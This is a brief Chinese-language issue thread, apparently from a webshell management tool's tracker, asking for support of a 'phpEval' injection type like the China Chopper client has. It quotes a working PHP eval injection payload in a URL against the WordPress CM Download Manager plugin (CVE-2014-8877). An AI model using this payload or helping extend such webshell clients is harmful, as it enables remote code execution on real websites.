Shell管理功能改进

[hysia]

URL ：http://target.com/cmdownloads/?CMDsearch=".@eval($_POST[a])."
PASS: a
TYPE: phpEval

这种类型的不支持，菜刀是支持的。可以改进支持。

[hysia]

wtf?

[keepwn]

不好意思，不知怎么变成乱码了。
我想知道能不能提供服务端代码，我这边测试下。

[hysia]

WordPress CM Download Manager插件远程PHP代码执行漏洞(CVE-2014-8877)

[hahahahahahahahahahahahahahahahahahaha]

这应该跟我在一个issue里说的情况一样。作者还是在服务端代码兼容各种环境上测试不够全面，这一点菜刀做的很好。